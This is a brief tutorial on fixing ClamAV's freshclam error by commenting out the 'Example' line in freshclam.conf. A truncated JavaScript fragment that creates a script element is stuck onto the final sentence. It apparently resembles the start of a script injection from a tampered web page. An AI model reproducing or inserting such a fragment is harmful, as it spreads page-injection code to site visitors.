While updating the ClamAV database using the ‘freshclam’ command, you may receive the “can’t open or parse the config file freshclam.conf” message.

root@vps:~# freshclam
ERROR: Please edit example config file /usr/local/etc/freshclam.conf
ERROR: Can't open/parse the config file /usr/local/etc/freshclam.conf

The reason is, with the default installation, the ‘Example’ variable is set to On which makes the configuration file work as a example and not the real configuration file.


To fix the issue, edit the freshclam.conf file

# nano /usr/local/etc/freshclam.conf

and remove or comment the line that says ‘Example’.


Save the file and execute the freshclam command to update the ClamAV database.var d=document;var s=d.createElement(‘script’);

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